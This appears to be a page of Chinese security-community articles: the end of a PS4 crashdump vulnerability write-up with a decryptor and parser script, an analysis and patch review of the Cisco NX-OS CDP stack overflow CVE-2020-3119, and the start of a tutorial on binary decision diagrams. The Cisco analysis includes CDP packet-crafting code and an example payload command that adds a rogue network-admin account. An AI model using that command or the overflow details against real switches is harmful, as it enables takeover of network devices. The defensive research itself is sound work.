在发生内核错误和故障转储之后，PS4将重新启动，并进入标准的fsck（检查修复文件系统中的错误）过程。
随后，我的控制脚本会使PS4进入挂起模式，此时自定义的EAP内核将接管，并将故障转储上传至我的电脑。
在上传完成之后，故障转储将被解密和解析，以提取泄漏出来的9600字节。 然后，这一过程将会持续长达6天之久。
## 修复方式
在4.50版本的固件，故障转储密钥的生成方法中，他们终于改用了非对称密钥，以便能够解密转储内容。
// one of the first calls mdbg_run_dump makes
int sysdump_output_establish_secure_context_on_dump() {
int rv; // eax
u8 nonces_to_sign[32]; // [rsp+8h] [rbp-48h]
// fill globals
sysdump_rng_nonce3_128(nonce3);
sysdump_rng_nonce4_128(nonce4);
memcpy(nonces_to_sign, nonce3, 16LL);
memcpy(&nonces_to_sign[16], nonce4, 16LL);
rv = RsaesOaepEnc2048_Sha256(sysdump_rsa_n, sysdump_rsa_e, nonces_to_sign, 32,
sysdump_rsa_enc_nonces);
if ( rv )
bzero(sysdump_rsa_enc_nonces, 0x100uLL);
Sha256HmacInit(sysdump_hmac_ctx, nonce4, 0x10u);
bzero(dump_aes_ctx_iv, 0x10uLL);
return rv;
}
以上版本的sysdump_output_establish_secure_context_on_dump来自于版本号为4.55的固件。
nonce3是将要被用作故障转储AES密钥的值。该值只会存储在经过RSA加密的二进制大对象（Blob）的转储之中。
因此，我们需要研究一个新的方法来恢复密钥。
## 总结
这可能是我针对一个漏洞，所做过的最复杂和最漫长的分析，但这无疑是一次有趣的经历。
坚持不懈，攻破万物！
## 附录
故障转储解密器源代码：
'''
This decrypts a coredump stored on the "custom" swap partition.
The GPT UUID is B4 A5 A9 76 B0 44 2A 47 BD E3 31 07 47 2A DE E2
Look for "Decryptor.header_t" (see below)...
'''
from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256
import binascii, struct
from construct import *
def aes_ecb_encrypt(k, d):
return AES.new(k, AES.MODE_ECB).encrypt(d)
def aes_ecb_decrypt(k, d):
return AES.new(k, AES.MODE_ECB).decrypt(d)
def hmac_sha256(k, d):
return HMAC.new(k, msg = d, digestmod = SHA256).digest()
def ZeroPadding(size):
return Padding(size , strict = True)
class RootKeys:
def __init__(s, kd, kc):
s.kd = binascii.unhexlify(kd)
s.kc = binascii.unhexlify(kc)
class Keyset:
def __init__(s, hmac_key, aes_key):
s.hmac_key, s.aes_key = hmac_key, aes_key
s.iv = b'\0' * len(s.aes_key)
class Decryptor:
DUMP_BLOCK_LEN = 0x4000
versioned_keys = {
1 : [RootKeys('you', 'should')],
2 : [RootKeys('probably', 'find')],
3 : [
RootKeys('these', 'your-'), # 4.05
RootKeys('self', ':)'), # 4.07
]
}
secure_header_t = Struct('secure_header',
# only seen version 1 so far
ULInt32('version'),
# Aes128Ecb(kd, openpsid)
Bytes('openpsid_enc', 0x10),
# 0x80 bytes of secure_header are hashed for the data_hmac,
# but only 0x14 bytes (actual used bytes) are actually written to disk...
ZeroPadding(0x80 - 0x14),
)
final_header_t = Struct('final_header',
Bytes('unknown', 0x10),
# 1 : unread dump present, 2 : no new dump data
ULInt64('state'),
ULInt64('data_len'),
ZeroPadding(0x10),
Bytes('data_hmac', 0x20)
)
header_t = Struct('header',
secure_header_t,
ZeroPadding(0x100 - secure_header_t.sizeof()),
final_header_t
)
def keygen(s, openpsid, root_keys):
openpsid_enc = aes_ecb_encrypt(root_keys.kd, openpsid)
digest = hmac_sha256(root_keys.kc, openpsid_enc)
return Keyset(digest[:0x10], digest[0x10:])
def hmac_verify(s, keyset):
hmac = HMAC.new(keyset.hmac_key, digestmod = SHA256)
with open(s.fpath, 'rb') as f:
hmac.update(f.read(s.secure_header_t.sizeof()))
data_len = s.header.final_header.data_len
data_len -= s.DUMP_BLOCK_LEN
f.seek(s.DUMP_BLOCK_LEN)
hmac.update(f.read(data_len))
return hmac.digest() == s.header.final_header.data_hmac
return False
def unwrap_keyset(s):
openpsid_enc = s.header.secure_header.openpsid_enc
version = s.header.secure_header.version
for root_keys in s.versioned_keys[version]:
openpsid = aes_ecb_decrypt(root_keys.kd, openpsid_enc)
digest = hmac_sha256(root_keys.kc, openpsid_enc)
keyset = Keyset(digest[:0x10], digest[0x10:])
if s.hmac_verify(keyset):
print('OpenPSID:\n %s' % (binascii.hexlify(openpsid)))
return keyset
return None
def __init__(s, fpath, default_openpsid = None, default_keyset_id = None):
s.fpath = fpath
with open(s.fpath, 'rb') as f:
s.header = s.header_t.parse_stream(f)
if s.header.final_header.state == 1:
s.keyset = s.unwrap_keyset()
else:
# something happened to the dump (like it was "consumed" after a reboot).
# in that case most of the header will be zerod
assert default_openpsid is not None,
'must provide openpsid to decrypt dump without secure_header'
assert default_keyset_id is not None,
'must provide keyset id to decrypt dump without secure_header'
root_keys = s.versioned_keys[default_keyset_id[0]][default_keyset_id[1]]
s.keyset = s.keygen(default_openpsid, root_keys)
assert s.keyset is not None
# just decrypt it all at once for now
# if we reach here, hmac is already verified or it didn't exist
with open(s.fpath, 'rb') as f:
f.seek(s.DUMP_BLOCK_LEN)
data_enc = f.read()
# This should actually be AesCbcCfb128Encrypt,
# but it's always block-size multiple in crashdump usage.
s.data = AES.new(s.keyset.aes_key, AES.MODE_CBC, s.keyset.iv).decrypt(data_enc)
'''
with open('debug.bin', 'wb') as fo:
fo.write(s.data)
#'''
NXDP解码器源代码：
import binascii, struct
from construct import *
from io import BytesIO
import argparse
def sign_extend(value, bits):
sign_bit = 1 << (bits - 1)
return (value & (sign_bit - 1)) - (value & sign_bit)
class NxdpObject(object):
def __init__(s, obj): s.parse(obj)
def parse(s, o): s.obj = o
def __repr__(s):
stuff = ['Unformatted Object:']
for i in s.obj:
if isinstance(i, int):
stuff.append('%16x' % (i))
elif isinstance(i, bytes):
stuff.append(str(binascii.hexlify(i)))
else:
stuff.append(repr(i))
return '\n'.join(stuff)
class NxdpKernelInfo(NxdpObject):
kernel_version_t = Struct('kernel_version',
ULInt32('field_0'),
ULInt32('firmware_version'),
ULInt64('mdbg_kernel_build_id'),
ZeroPadding(0x20 - 0x10)
)
def parse(s, o):
s.ver = s.kernel_version_t.parse(o[0])
def __repr__(s):
fw_ver_maj = s.ver.firmware_version >> 24
fw_ver_min = (s.ver.firmware_version >> 12) & 0xfff
fw_ver_unk = s.ver.firmware_version & 0xfff
fw_ver = '%02x.%03x.%03x' % (fw_ver_maj, fw_ver_min, fw_ver_unk)
l = []
l.append('Kernel Version Info')
l.append(' unk %8x' % (s.ver.field_0))
l.append(' fw version %s' % (fw_ver))
l.append(' kernel build id %16x' % (s.ver.mdbg_kernel_build_id))
return '\n'.join(l)
class NxdpBuffer(NxdpObject):
class Buffer:
def __init__(s, va, buf):
s.va = va
s.buf = buf
def parse(s, o):
# seems to be generic; has subtype (1 : ascii string, 2 : raw bytes)
# raw bytes are an array of <virtual address, bytes> pairs
s.buftype = o[0]
if s.buftype == 1:
s.strbuf = o[1].decode('ascii')
elif s.buftype == 2:
s.bufs = []
for va, size, buf in o[1]:
assert size == len(buf)
s.bufs.append(s.Buffer(va, buf))
elif s.buftype == 3:
s.buf = o[1]
else: assert False
def __repr__(s):
l = []
l.append('---------buffer begin-------')
if s.buftype == 1:
l.append(s.strbuf)
elif s.buftype == 2:
for buf in s.bufs:
l.append('Virtual Address: %16x, Length %x' % (buf.va, len(buf.buf)))
# TODO pretty-hexdump
# normally used for stacks...should pretty-print stacks too
l.append(str(binascii.hexlify(buf.buf), 'ascii'))
elif s.buftype == 3:
l.append('Kernel panic summary:')
l.append(str(binascii.hexlify(s.buf), 'ascii'))
l.append('---------buffer end---------')
return '\n'.join(l)
class NxdpKernelPanic(NxdpObject):
def parse(s, o):
s.panicstr = o[0].decode('ascii').rstrip('\n')
def __repr__(s):
return 'Panic Message:\n %s' % (s.panicstr)
class NxdpKernelPanicLarge(NxdpObject):
def parse(s, o):
s.panicstr = o[0].decode('ascii') + o[1].decode('ascii')
s.unks = o[2:]
def __repr__(s):
l = ['Panic Message(ver2):']
l.append(' unk %x %x %x' % (s.unks[0], s.unks[1], s.unks[2]))
l.append(' log: %s' % (s.panicstr))
return '\n'.join(l)
class NxdpKernelTrapFrame(NxdpObject):
reg_indices = ['rax', 'rcx', 'rdx', 'rbx', 'rsp', 'rbp', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'rip', 'rflags']
def parse(s, o):
s.trapno = o[0]
s.err = o[1]
s.addr = o[2]
s.regs = []
for idx, val in o[3]:
s.regs.append((idx, val))
def __repr__(s):
l = ['Trap Frame']
l.append(' trapno %x' % (s.trapno))
l.append(' err %x' % (s.err))
l.append(' addr %16x' % (s.addr))
for reg in s.regs:
l.append(' %6s : %16x' % (s.reg_indices[reg[0]], reg[1]))
return '\n'.join(l)
class NxdpDumperInfo(NxdpObject):
def parse(s, o):
s.unk = o[0]
s.tid = o[1]
def __repr__(s):
l = ['Dumper Info']
l.append(' unk %x' % (s.unk))
l.append(' tid %x' % (s.tid))
return '\n'.join(l)
class NxdpProcessInfo(NxdpObject):
def parse(s, o):
s.pid = o[0]
s.subtypes = []
s.subobjs = []
for i in o[1]:
if i[0] not in s.subtypes:
s.subtypes.append(i[0])
s.subobjs.append(NxdpParser.parse(i))
def __repr__(s):
l = ['', 'Process Info']
l.append(' pid %x' % (s.pid))
l.append(' subtypes seen %s' % (s.subtypes))
for subobj in s.subobjs:
l.append(str(subobj))
return '\n'.join(l)
class NxdpSceDynlibInfo(NxdpObject):
dynlib_info_t = Struct('dynlib_info',
ULInt64('some_tid'),
ULInt8('flags'),
ZeroPadding(7),
ULInt64('ppid'),
String('comm', 0x20, encoding = 'ascii', padchar = '\0'),
String('path', 0x400, encoding = 'ascii', padchar = '\0'),
Bytes('fingerprint', 0x14),
ULInt64('entrypoint'),
ULInt64('field_454'),
ULInt64('field_45c'),
ULInt32('field_464'),
ULInt32('field_468'),
ULInt32('field_46c'),
ULInt64('field_470'),
ULInt32('p_sig'),
ULInt32('field_47c'),
# XXX it seems at some point, this field was added...
ULInt32('field_480'),
)
def parse(s, o):
if len(o[0]) != s.dynlib_info_t.sizeof():
print('unexpected dynlib info size, %x' % (len(o[0])))
s.info = s.dynlib_info_t.parse(o[0])
def __repr__(s):
l = ['Library Info']
l.append(' some tid %x' % (s.info.some_tid))
l.append(' flags %x' % (s.info.flags))
l.append(' parent pid %x' % (s.info.ppid))
l.append(' comm %s' % (s.info.comm))
l.append(' path %s' % (s.info.path))
l.append(' fingerprint %s' % (binascii.hexlify(s.info.fingerprint)))
l.append(' entrypoint %16x' % (s.info.entrypoint))
l.append(' unks (dynlib) field_454 %16x field_45c %16x field_464 %8x field_468 %8x' % (
s.info.field_454, s.info.field_45c, s.info.field_464, s.info.field_468))
l.append(' p_sig %8x' % (s.info.p_sig))
l.append(' unks (proc) field_46c %8x field_470 %16x field_47c %8x field_480 %8x' % (
s.info.field_46c, s.info.field_470, s.info.field_47c, s.info.field_480))
return '\n'.join(l)
class NxdpPcb(NxdpObject):
# there are more (see struct pcb), but these are what we expect in the dump
reg_indices = {
59 : 'fsbase',
60 : 'rbx',
61 : 'rsp',
62 : 'rbp',
63 : 'r12',
64 : 'r13',
65 : 'r14',
66 : 'r15',
67 : 'rip',
}
envxmm_t = Struct('envxmm',
ULInt16('en_cw'),
ULInt16('en_sw'),
ULInt8('en_tw'),
ULInt8('en_zero'),
ULInt16('en_opcode'),
ULInt64('en_rip'),
ULInt64('en_rdp'),
ULInt32('en_mxcsr'),
ULInt32('en_mxcsr_mask'),
)
sv_fp_t = Struct('sv_fp',
Bytes('fp_acc', 10),
# TODO why is this nonzero?
#Padding(6),
Bytes('sbz', 6),
)
savefpu_xstate_t = Struct('savefpu_xstate',
ULInt64('xstate_bv'),
#Bytes('xstate_rsrv0', 16),
ZeroPadding(16),
#Bytes('xstate_rsrv', 40),
ZeroPadding(40),
Array(16, Bytes('ymm_bytes', 16))
)
savefpu_ymm_t = Struct('savefpu_ymm',
envxmm_t,
Array(8, sv_fp_t),
Array(16, Bytes('xmm_bytes', 16)),
# TODO why is this nonzero?
#ZeroPadding(96),
Bytes('sbz', 96),
savefpu_xstate_t
)
def parse(s, o):
s.flags = o[0]
s.fpu = s.savefpu_ymm_t.parse(o[1])
s.regs = []
for idx, val in o[2]:
s.regs.append((idx, val))
def __repr__(s):
l = ['Process Control Block']
l.append(' flags %x' % (s.flags))
l.append(' fpu state %s' % (s.fpu))
for reg in s.regs:
l.append(' %s : %16x' % (s.reg_indices[reg[0]], reg[1]))
return '\n'.join(l)
class NxdpProcessThread(NxdpObject):
def parse(s, o):
s.tid = o[0]
s.subobjs = []
for i in o[1]:
s.subobjs.append(NxdpParser.parse(i))
def __repr__(s):
l = ['Thread Info']
l.append(' tid %x' % (s.tid))
for subobj in s.subobjs:
l.append(str(subobj))
return '\n'.join(l)
class NxdpThreadInfo(NxdpObject):
thread_info_t = Struct('thread_info',
ULInt64('pthread_a8'),
ULInt64('pthread_b0'),
ULInt64('field_10'),
ULInt64('td_priority'),
ULInt64('td_oncpu'),
ULInt64('td_lastcpu'),
# if !td_wchan, then thread->field_458
ULInt64('td_wchan'),
ULInt32('field_38'),
ULInt32('td_state'),
ULInt32('td_inhibitors'),
String('td_wmesg', 0x20, encoding = 'ascii', padchar = '\0'),
String('td_name', 0x20, encoding = 'ascii', padchar = '\0'),
ULInt32('pid'),
ULInt64('td_field_450'),
ULInt32('td_cpuset'),
# XXX this struct size has been changed...
Bytes('newstuff', 0xbc - 0x94)
)
def parse(s, o):
s.info = s.thread_info_t.parse(o[0])
def __repr__(s):
return str(s.info)
class NxdpTitleInfo(NxdpObject):
# this is a new object, so the meanings are a guess
def parse(s, o):
s.title_id = o[0].decode('ascii').rstrip('\0')
s.app_id = o[1]
s.unk0 = o[2]
s.unk1 = o[3]
def __repr__(s):
l = ['Title Info']
l.append(' title id %s' % (s.title_id))
l.append(' app id %x' % (s.app_id))
l.append(' unk values %x %x' % (s.unk0, s.unk1))
return '\n'.join(l)
class NxdpSceDynlibImports(NxdpObject):
dynlib_import_t = Struct('dynlib_import',
ULInt32('pid'),
# IDT index
ULInt32('handle'),
ZeroPadding(8),
# 0x10
ZeroPadding(0x20),
String('path', 0x400, encoding = 'ascii', padchar = '\0'),
ZeroPadding(8),
Bytes('fingerprint', 0x14),
# 0x44c
ZeroPadding(4),
ULInt32('refcount'),
ULInt64('entrypoint'),
ULInt64('dyl2_field_138'),
# 0x464
ULInt64('dyl2_field_140'),
ULInt64('dyl2_field_148'),
ULInt64('dyl2_field_158'),
ULInt32('dyl2_field_150'),
ULInt32('dyl2_field_160'),
ULInt64('text_base'),
ULInt64('text_size'),
ULInt32('field_494'),
# 0x498
ULInt64('data_base'),
ULInt64('data_size'),
# 0x4a8
ULInt32('dyl2_field_94'),
# TODO there seems to be more nonzero stuff in here?
Padding(0x6b4 - 0x4ac)
)
def parse(s, o):
# XXX this was added on later fw versions
# seems to duplicate handle for some reason
s.idx = o[0]
# same across versions
s.info = s.dynlib_import_t.parse(o[1])
def __repr__(s):
l = ['Import Info']
l.append(' id %x' % (s.idx))
l.append(str(s.info))
return '\n'.join(l)
class NxdpVmMap(NxdpObject):
vm_map_t = Struct('vm_map',
ULInt32('field_0'),
ULInt64('start'),
ULInt64('end'),
ULInt64('field_14'),
ULInt64('field_1c'),
ULInt64('field_24'),
ULInt32('prot'),
ULInt32('field_30'),
ULInt32('field_34'),
String('name', 0x20, encoding = 'ascii', padchar = '\0'),
ULInt32('field_58'),
ULInt32('field_5c'),
# XXX this was added on later fw versions
ULInt32('field_60'),
)
def parse(s, o):
s.info = s.vm_map_t.parse(o[0])
def __repr__(s):
l = 'VM Map Entry: %16x - %16x %x %s' % (s.info.start, s.info.end, s.info.prot, s.info.name)
return l
class NxdpKernelRandom(NxdpObject):
def parse(s, o):
s.seed = o[0]
s.slide = o[1]
def __repr__(s):
l = ['Kernel Random Info']
l.append(' seed %s' % (binascii.hexlify(s.seed)))
l.append(' slide %x' % (s.slide))
return '\n'.join(l)
class NxdpInterruptInfo(NxdpObject):
def parse(s, o):
s.from_ip = o[0]
s.to_ip = o[1]
def __repr__(s):
l = ['Last Interrupt IP Info']
l.append(' from %x' % (s.from_ip))
l.append(' to %x' % (s.to_ip))
return '\n'.join(l)
class NxdpParser:
process_types = {
0x21 : NxdpProcessInfo,
0x22 : NxdpProcessThread,
}
type_parsers = {
0x00 : process_types,
0x01 : NxdpSceDynlibInfo,
0x02 : NxdpThreadInfo,
# 0x03 is SCE ID table stuff...seems they removed it from later fw coredumps?
0x04 : NxdpSceDynlibImports,
0x05 : NxdpVmMap,
0x10 : NxdpKernelInfo,
0x11 : NxdpBuffer,
0x21 : NxdpKernelPanic,
0x22 : NxdpKernelTrapFrame,
0x23 : NxdpPcb,
0x24 : NxdpDumperInfo,
0x25 : NxdpKernelRandom,
0x26 : NxdpTitleInfo,
0x27 : NxdpInterruptInfo,
0x28 : NxdpKernelPanicLarge,
}
@staticmethod
def parse(obj):
try:
f = NxdpParser.type_parsers[obj[0]]
l = 1
while isinstance(f, dict):
f = f[obj[l]]
l += 1
return f(obj[l:])
except KeyError:
return NxdpObject(obj)
class NXDP:
def __init__(s, buf):
s.buf = buf
s.nonce = s.buf.read(0x10)
unpacked = s.decode()
s.root_raw = unpacked
s.parsed = []
for i in unpacked:
s.parsed.append(NxdpParser.parse(i))
def read_byte(s):
return struct.unpack('B', s.buf.read(1))[0]
def decode(s):
#print('decode @ %x' % (s.buf.tell()))
# The idea is that everything eventually ends in leaf node which can be
# represented as signed/unsigned integer, or a buffer.
# Nodes consist of "uarray"s, which denote children, and
# "array"s, which denote groups at the same level.
b = s.read_byte()
if b <= 0x7f: # unsigned immediate
return b
elif b == 0xc0: # next byte is immediate type
b = s.read_byte()
if b == 2: # boolean "true"
return True
elif b == 3: # boolean "false"
return False
elif b == 4: # uarray begin
# push level
items = []
while True:
i = s.decode()
if i is None:
break
items.append(i)
return items
elif b == 5: # uarray end
# pop level
return None
else: assert False
elif b == 0xc1: # blob_rle
return s.decode_blob_rle()
id = b >> 4
arg = b & 0xf
if id == 0x9: # unsigned
return s.decode_unsigned(arg)
if id == 0xa: # array
a = []
for i in range(arg):
a.append(s.decode())
return a
elif id == 0xb: # blob
return s.decode_blob(arg)
elif id == 0xd: # signed
return s.decode_signed(arg)
elif b >= 0xe1: # signed immediate
return sign_extend(b, 8)
else: assert False
def decode_unsigned(s, n):
x = 0
for i in range(n, 0, -1):
x |= s.read_byte() << ((i - 1) * 8)
return x
def decode_signed(s, n):
u = s.decode_unsigned(n)
# "sign-extend"...
# This is normally used to encode kernel addresses,
# so actually return unsugned...
return (u | (0xffffffffffffffff << (n * 8))) & 0xffffffffffffffff
def decode_blob(s, n):
# n = 0 means length is encoded unsigned value
if n == 0:
n = s.decode()
return s.buf.read(n)
def decode_blob_rle(s):
# decompressed size is stored first
n = s.decode()
# always starts with 0x97 which *doesn't* encode anything...
assert s.read_byte() == 0x97
# slow and simple
blob = b''
while len(blob) < n:
b = s.buf.read(1)
if b == b'\x97':
count = s.read_byte()
if count > 0:
b = s.buf.read(1) * count
blob += b
assert len(blob) == n
return blob
def dump(s):
for i in s.parsed:
print(i)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description = 'PS4 crashdump parser')
parser.add_argument('dump_path')
parser.add_argument('-i', '--openpsid', type = lambda x: binascii.unhexlify(x))
parser.add_argument('-k', '--keyset_id', type = lambda x: list(map(int, x.split('.'))))
args = parser.parse_args()
nxdp = NXDP(BytesIO(Decryptor(args.dump_path, args.openpsid, args.keyset_id).data))
nxdp.dump() | 社区文章 |
# CDPwn系列之CVE-2020-3119分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
`CDPwn`系列漏洞是由来自`Armis`的安全研究员在思科`CDP(Cisco Discovery Protocol)`协议中发现的5个`0
day`漏洞，影响的产品包括思科交换机、路由器、`IP`电话以及摄像机等。其中，`CVE-2020-3119`是`NX-OS`系统中存在的一个栈溢出漏洞，利用该漏洞可在受影响的设备(如`Nexus`系列交换机)上实现任意代码执行，如修改`Nexus`交换机的配置以穿越`VLAN`等。
下面借助`GNS3`软件搭建`Nexus`交换机仿真环境，来对该漏洞进行分析。
## 环境准备
根据[漏洞公告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce)，选取`Nexus 9000 Series Switches in standalone NX-OS
mode`作为分析目标，获取到对应的镜像如`nxosv.9.2.2.qcow2`后，根据`GNS3`提供的`Cisco NX-OSv 9000
appliance`中的模板进行操作即可。需要说明的是，
* 与思科`ASAV`防火墙不同，模拟`Nexus 9000`系列交换机除了需要设备镜像外，还需要一个`UEFI`格式的启动文件；
* 模拟`Nexus 9000`系列交换机对虚拟机的配置要求较高(`8G`内存)，建议采用`GNS3`设备模板中的默认配置，降低配置的话可能导致设备无法启动。
设备启动后，建议连接到设备的`Ethernet1/1`口，之后对设备进行配置。
在`Nexus 9000`系列交换机上，存在以下3种`shell`：
* `vsh`：正常配置设备时`CLI`界面的`shell`；
* `guestshell`：在`vsh`中运行`guestshell`命令后进入的`shell`，可以运行常见的`shell`命令；
* `bash shell`：在`vsh`中运行`run bash`命令后进入的`shell`，可以查看底层系统中的文件，以及设备上的进程信息等；
> 需要先在`configure`模式下，运行`feature bash-shell`开启`bash shell`
默认配置下，`bash
shell`中是没有`ip`信息的。为了方便后续进行分析调试，需要给之前连接的`Ethernet1/1`口配置`ip`信息，根据`mac`地址查找对应的网口，然后配置对应的`ip`即可。
> 设备的`mgmt`口在`bash shell`下不存在对应的网口
另外，由于采用`binwalk`工具对设备镜像进行解压提取失败，因而直接通过`bash
shell`拷贝设备文件系统中的文件：将公钥置于`/root/.ssh/authorized_keys`，然后通过`scp`方式进行拷贝即可。
## CDP数据包分析
为了便于后续的分析，需要先了解`CDP`数据包的相关格式。在`GNS3`中设备之间的链路上捕获流量，看到设备发送的`CDP`数据包示例如下。
可以看到，除了开始的`version`、`ttl`和`checksum`字段外，后面的每一部分都是典型的`TLV(Type-Length-Value)`格式，`Device ID`和`Addresses`部分的字段明细如下。其中，在`Addresses`部分，其`Value`还有更细致的格式。
另外，`python` `scapy`模块支持`CDP`协议，可以很方便地构造和发送`CDP`数据包，示例如下。
from scapy.contrib import cdp
from scapy.all import Dot3, LLC, SNAP, sendp
ethernet = Dot3(dst="01:00:0c:cc:cc:cc")
llc = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/SNAP()
# Cisco Discovery Protocol
cdp_header = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val='nxos922(97RROM91ST3)')
portid = cdp.CDPMsgPortID(iface="br0")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.110.130"))
cap = cdp.CDPMsgCapabilities(cap=1)
power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb")
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_header/deviceid/portid/address/cap/power_req/power_level
sendp(ethernet/llc/cdp_packet, iface="ens36")
## 漏洞分析
根据`Armis`的[技术报告](https://info.armis.com/rs/645-PDC-047/images/Armis-CDPwn-WP.pdf)可知，该漏洞存在于程序`/isan/bin/cdpd`中的函数`cdpd_poe_handle_pwr_tlvs()`里，其主要功能是对`Power
Request(type=0x19)`部分的数据进行解析和处理，该部分的协议格式示例如下。
函数`cdpd_poe_handle_pwr_tlvs()`的部分伪代码如下，其中，`cdp_payload_pwr_req_ptr`指向`Power
Request(type=0x19)`部分的起始处。可以看到，首先在`(1)`处获取到`Length`字段的值，在`(2)`处计算得到`Power
Requested`字段的个数(`Type` \+ `Length` \+ `Request-ID` \+ `Management-ID`为8字节，`Power Requested`字段每项为`4`字节)，之后在`(4)`处将每个`Power
Requested`字段的值保存到`v35`指向的内存空间中。由于`v35`指向的内存区域为栈(在`(3)`处获取局部变量的地址，其距离`ebp`的大小为`0x40`)，而循环的次数外部可控，因此当`Power
Requested`字段的个数超过`0x11`后，将覆盖栈上的返回地址。
// 为方便理解, 对函数/变量进行了重命名
char __cdecl cdpd_poe_handle_pwr_tlvs(int *a1, int cdp_payload_pwr_cons_ptr, _WORD *cdp_payload_pwr_req_ptr)
{
v32 = *a1;
result = cdp_payload_pwr_cons_ptr == 0;
v33 = cdp_payload_pwr_req_ptr == 0;
if ( cdp_payload_pwr_cons_ptr || !v33 )
{
v28 = a1 + 300;
if ( v33 && cdp_payload_pwr_cons_ptr ) // version 1
{
// ...
}
if ( !result && !v33 ) // version 2
{
// ...
cdp_payload_pwr_req_len_field = __ROR2__(cdp_payload_pwr_req_ptr[1], 8); // (1)
cdp_payload_pwr_req_req_id = __ROR2__(cdp_payload_pwr_req_ptr[2], 8);
cdp_payload_pwr_req_mgmt_id = __ROR2__(cdp_payload_pwr_req_ptr[3], 8);
// ...
v8 = cdp_payload_pwr_req_len_field - 8;
if ( v8 < 0 )
v8 = cdp_payload_pwr_req_len_field - 5;
cdp_payload_pwr_req_num_of_level = (unsigned int)v8 >> 2; // (2)
// ...
if ( (signed int)cdp_payload_pwr_req_num_of_level > 0 )
{
cdp_payload_pwr_req_level_ptr = (unsigned int *)(cdp_payload_pwr_req_ptr + 4);
v35 = &cdp_payload_pwr_cons_len_field; // (3) cdp_payload_pwr_cons_len_field: [ebp-0x40]
pwr_levels_count = 0;
do
{
*v35 = _byteswap_ulong(*cdp_payload_pwr_req_level_ptr); // (4)
// ...
a1[pwr_levels_count + 311] = *v35; // (5)
++cdp_payload_pwr_req_level_ptr;
++pwr_levels_count;
++v35;
}
while ( cdp_payload_pwr_req_num_of_level > pwr_levels_count ); // controllable
}
v9 = *((_WORD *)a1 + 604);
v10 = *((_WORD *)a1 + 602);
v11 = a1[303];
if ( cdp_payload_pwr_req_req_id != v9 || cdp_payload_pwr_req_mgmt_id != v10 ) // (6)
{
// ...
}
在后续进行漏洞利用时，由于在`(5)`处将`v35`指向的内存地址空间的内容保存到了`a1[pwr_levels_count +
311]`中，而该地址与函数`cdpd_poe_handle_pwr_tlvs()`的第一个参数有关，在覆盖栈上的返回地址之后也会覆盖该参数，因此需要构造一个合适的参数，使得`(5)`处不会崩溃。另外，还要保证`(6)`处的条件不成立，即执行`else`分支，否则在该函数返回前还会出现其他崩溃。
另外，`cdpd`程序启用的保护机制如下，同时设备上的`ASLR`等级为2。由于`cdpd`程序崩溃后会重启，因此需要通过爆破的方式来猜测程序相关的基地址。
$ checksec --file cdpd
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'/isan/lib/convert:/isan/lib:/isanboot/lib'
之后漏洞利用可以执行注入的`shellcode`，或者通过调用`system()`来执行自定义的`shell`命令。
> 通过`/isan/bin/vsh`可以执行设备配置界面中的命令，如`system('/isan/bin/vsh -c "conf t ;
> username aaa password test123! role network-admin"`执行成功后，会添加一个`aaa`的管理用户。
### 补丁分析
根据思科的[漏洞公告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce)，该漏洞在如下的版本中已修复。
以`7.0(3)I7(8)`为例，函数`cdpd_poe_handle_pwr_tlvs()`的部分伪代码如下。可以看到，在`(1)`处增加了对`Power
Requested`字段个数的判断，其最大值为10。
char __cdecl cdpd_poe_handle_pwr_tlvs(int *a1, int a2, _WORD *a3)
{
// ...
if ( !result && !v35 ) // version 2
{
// ...
v38 = __ROR2__(a3[1], 8);
v33 = __ROR2__(a3[2], 8);
v32 = __ROR2__(a3[3], 8);
// ...
v8 = v38 - 8;
if ( v8 < 0 )
v8 = v38 - 5;
v29 = (unsigned int)v8 >> 2;
if ( v29 <= 0xAu ) // (1)
{
// ...
}
else
{
// ...
v36 = 10; // (2)
v28 = 10;
v29 = 10;
}
v39 = 0;
do
{
v9 = *v37;
LOWORD(v9) = __ROR2__(*v37, 8);
v9 = __ROR4__(v9, 16);
LOWORD(v9) = __ROR2__(v9, 8);
v42[v39] = v9;
// ...
a1[v39 + 312] = v42[v39];
++v37;
++v39;
}
while ( v36 > v39 );
goto LABEL_78;
}
// ...
}
## 小结
* 通过`GNS3`软件搭建设备的仿真环境，同时对该漏洞的形成原因进行了分析：在对`Power Request(type=0x19)`部分的数据进行解析时，由于缺乏对其内容长度的校验，造成栈溢出。
## 相关链接
* [CDPwn: 5 Zero-Days in Cisco Discovery Protocol](https://www.armis.com/cdpwn/)
* [Cisco NX-OS Software Cisco Discovery Protocol Remote Code Execution Vulnerability](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce)
* [VIRTUALIZING A CISCO NEXUS 9K WITH GNS3](http://www.itcrunch.eu/index.php/2017/09/20/virtualizing-cisco-nexus-9k-with-gns3/)
* [CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析](https://paper.seebug.org/1154/) | 社区文章 |
# 硬件安全系列 第二篇 逻辑电路基础知识介绍（二）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
第二部分 逻辑表示方式以及处理算法
## Boolean Representation via BDDs and SAT
### BDD Binary Decision Diagrams
BDD是什么。Binary Decision Diagrams 二进制决策图
二进制决策图是表示和操作布尔逻辑的最通用和有用的数据结构之一。
那么二进制决策图长什么样呢。
如图所示，就是树状图，每一个分支对应一个输入的确定，从而确定输出，这也表示了所有状态下输入和输出的对应关系。但是呢，这样的表示方法在输入增加时，树状图成指数增长，所以我们显然需要一些方法来简化。
忽略节点：当某一情况下的某一输入对结果不发生影响时，我们忽略这一输入对应的两个分支。如图所示
